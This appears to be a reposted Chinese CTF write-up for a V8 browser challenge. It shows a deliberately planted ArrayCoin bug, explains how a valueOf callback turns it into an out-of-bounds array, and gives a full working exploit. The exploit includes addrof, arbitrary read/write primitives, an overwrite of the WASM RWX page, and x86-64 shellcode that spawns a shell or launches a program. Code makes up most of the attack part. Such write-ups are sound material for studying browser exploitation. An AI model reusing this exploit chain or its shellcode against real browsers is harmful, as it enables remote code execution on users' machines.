数字经济线下 Realworld Browser writeup
2019-10-22 10:13:50 Author: xz.aliyun.com(查看原文) 阅读量:177 收藏

Intro: 一道 Realworld Browser Writeup

写在前面

这道 Realworld pwn 出现在数字经济云安全的线下赛。

Patch

关键的 Patch 如下:

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
 }
 }  // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+  uint32_t len = args.length();
+  if (len != 3) {
+     return ReadOnlyRoots(isolate).undefined_value();
+  }
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+  Handle<Object> value;
+  Handle<Object> length;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+  uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+  if(37 < array_length){
+    elements.set(37, value->Number());
+    return ReadOnlyRoots(isolate).undefined_value();  
+  }
+  else{
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}
+
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
   Handle<Object> receiver = args.receiver();

可以看到,注册了一个 builtin 函数名为 array.coin(length,value) ,如果 array 长度超过 38 就将 array.element[37] 赋值为 value

Trigger OOB

First Try

关键的点在于 Object::ToNumber ,该函数可以通过valueOf 触发 callback 回调,回调函数可以通过对 array.length 的赋值来重新分配内存空间。然而,array 以及 element 均在执行回调之前就已经保存在局部变量中,后续在对 element 的赋值时也直接采用的是该局部变量,因此我们得到了一个 UAF ,并且可以这样利用:通过在 Callback 中扩大 Arraylength 来强制 GC 重新 alloc ,之后通过分配巨量的 array 来占位原 array 的地址空间,最后通过 elements.set(37, value->Number()) 来达到对原内存内容的修改。倘若我们修改的内存恰好是新占位 arraylength 字段,那我们就得到了一个 OOB 数组。

var Globarr=[]
function demo(){
    var length = {
        valueOf:function(){
            return 20000000000000
        }
    };
    var val= {
        valueOf:function(){
            array.length=1000; 
            // force GC realloc this array, but we still 
            // have one reference to this memory in the Patch
            for(var i=0;i<1000-13;i++){
                new Array(100);
            }
            for(var i=0;i<10;i++){
                Globarr[i]=new Array(37)
            }
            return  999999999999999
        }
    }
    let array=[];
    array.length=50;
    array.coin(length,val);
    for(var i=5;i<10;i++){
        %DebugPrint(Globarr[i]);
    }
}
demo()

然而,一个很严重的问题是,由于 v8gc 的特殊性,并不会像 glibc 一样有内存缓存机制,因此,每次占到原来的地址的时候其实都跨越了若干内存页,每一个偏移都与要精准定位调试,因此可复现率基本为 0 。我在一番艰难的调试之后,终于得到了一个 OOB 数组:


就在我以为我可以进一步开发 exploit 的时候,问题出现了:由于采用的是这种喷内存的方式,因此对内存状态的依赖度很高。但是实际上, V8Read code 以及 parse code 的时候都是需要占用内存的,因此添加任何一句代码都会改变内存布局从而导致 oob 数组的消失。我没有其他姿势利用这个思路,麻烦知道如何处理内存问题的大佬戳我一下我去加您。

Second Try

分析 patch 的时候忽略了一个重要的问题,就是判断 37 < array_length 的时候,array_length 的值取在 callback 之后,也就意味着一开始分配的 array 可以很小,然后再 callback 内扩大 length ,一样可以绕过检查:

var val= {
        valueOf:function(){
            array.length = 0x100
            return  999999999999999
        }
    }
    let array=[];
    array.length=34;
    array.coin(length,val);

成功绕过。进一步构思,由于 v8 的内存分配具有连续性,因此,如果再 callback 内分配了一个新 array_newarray_new 会直接分配在原 array 的后面。倘若原 array.element[37] 的位置存放的是 array_newlength ,那我们就可以直接达到 oob ,而且只需要分配两次 array

var val= {
    valueOf:function(){

        victim=new Array(12)
        array.length = 0x100
        return  999999999999999
    }
}

let array=[];
array.length=34;
array.coin(length,val);

console.log("[+] Int_Victim array length is changed to :"+victim.length);

进一步转为 Float类型的 oob

var val= {
    valueOf:function(){

        victim=new Array(12)
        array.length = 0x100
        float_victim=new Array(0x10)
        float_victim[0]=1.1
        return  999999999999999
    }
}

let array=[];
array.length=34;


array.coin(length,val);

console.log("[+] Int_Victim array length is changed to :"+victim.length);

victim[273]=0x10000;//change the float arraylength

console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)

这里十分感谢队友姚敏的提醒。

Exploit

后面的工作就比较寻常了,这里是完整的 exploit:

function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));

    return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//

// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);

let victimobj_obj_offset_of_OOBARR=0
let victimbuf_backingstore_pointer_offset_of_OOBARR=0


function exploit(){

    let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
    let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
    let f = wasm_mod.exports._Z3addii;

    var length = {
        valueOf:function(){

            return 20000000000000
        }
    };
    var val= {
        valueOf:function(){

            victim=new Array(12)
            array.length = 0x100
            float_victim=new Array(0x10)
            float_victim[0]=1.1
            return  999999999999999
        }
    }

    let array=[];
    array.length=34;

    array.coin(length,val);

    console.log("[+] Int_Victim array length is changed to :"+victim.length);

    victim[273]=0x10000;//change the float arraylength
    //let array00= new Array(100)
    console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)

    var vicobj={marker: 1111222233334444, obj: {}}
    var victimbuffer=new ArrayBuffer(0x41);
   // %DebugPrint(victimbuffer);
    //%SystemBreak();
    //%DebugPrint(vicobj.obj)


    for (let i = 0; i < 100; i++) {
        let val = Int64.fromDouble(float_victim[i]).toString();
        //console.log(val)
        if (val === "0x430f9534b3e01560") {
        //change the value to distinguish from front objs'flag
        float_victim[i] = (new Int64("4242424200000000")).asDouble();
        victimobj_obj_offset_of_OOBARR = i -8;
        console.log("[+] VictimObj.obj's offset of OOBARR = ",victimobj_obj_offset_of_OOBARR.toString(16))
        }
    }

    for (let i = 0; i < 100; i++) {
        let val = Int64.fromDouble(float_victim[i]).toString();
        //size as flag
        if (val === "0x0000000000000041") {
            float_victim[i] = (new Int64("0x0000000000999941")).asDouble();
        victimbuf_backingstore_pointer_offset_of_OOBARR = i + 1;
        console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",victimbuf_backingstore_pointer_offset_of_OOBARR.toString(16))
        }
    }

    function addrof(obj){
        if(vicobj!==null){
            vicobj.obj=obj;
            return Int64.fromDouble(float_victim[victimobj_obj_offset_of_OOBARR])
        }
    }

    function read(addr,size){
        if(addr!==undefined){
            float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]=addr.asDouble();
            let a = new Uint8Array(victimbuffer, 0, size);
                return Array.from(a);
        }
    }

    function write(addr, bytes) {
        if(addr!==undefined){
            float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
            console.log("[+] The target Write addr = ",Int64.fromDouble(float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]))
            let a = new Uint8Array(victimbuffer);
            //%DebugPrint(victimbuffer);
            //%SystemBreak()
            //console.log(a.byteLength)
            a.set(bytes);
        }
    }

    function read8(addr) {
        float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
        var v = new Float64Array(victimbuffer, 0, 8);
        return Int64.fromDouble(v[0]);
    }
    var test=new Array();
    //%DebugPrint(f);
    addr=Add(addrof(f),0x18-1)

    addr=read8(addr);
    console.log("[+] SharedFunctionInfo : "+addr);
    addr=Add(addr,0x8-1)
    addr=read8(addr);
    console.log("[+] WasmExportedFunctionData : "+addr);

    addr=Add(addr,0x10-1)
    addr=read8(addr);
    console.log("[+] Instance : "+addr);

    addr=Add(addr,0x80-1)
    addr=read8(addr);
    console.log("[+] rwx addr : "+addr);
    let shellcode = [0x90,0x90,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05];
    let calc=
    [0x48,0x31,0xc9,0x48,0x81,0xe9,0xf7,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,0x09,0x69,0x71,0x6e,0x44,0x85,0x88,0x7d,0x48,0x31,0x58,0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x63,0x52,0x29,0xf7,0x0c,0x3e,0xa7,0x1f,0x60,0x07,0x5e,0x1d,0x2c,0x85,0xdb,0x35,0x80,0x8e,0x19,0x43,0x27,0x85,0x88,0x35,0x80,0x8f,0x23,0x86,0x5f,0x85,0x88,0x7d,0x6c,0x11,0x01,0x01,0x36,0xf1,0xa8,0x39,0x40,0x3a,0x21,0x22,0x05,0xdc,0xb5,0x47,0x39,0x47,0x41,0x48,0x62,0xfd,0xeb,0x1c,0x65,0x0a,0x71,0x38,0x13,0xcd,0x01,0x9b,0x06,0x6c,0x71,0x6e,0x44,0x85,0x88,0x7d]
    write(Sub(addr,0), calc);

    console.log("[+] Running shellcode...")
    f();

}
exploit()


文章来源: http://xz.aliyun.com/t/6577
如有侵权请联系:admin#unsafe.sh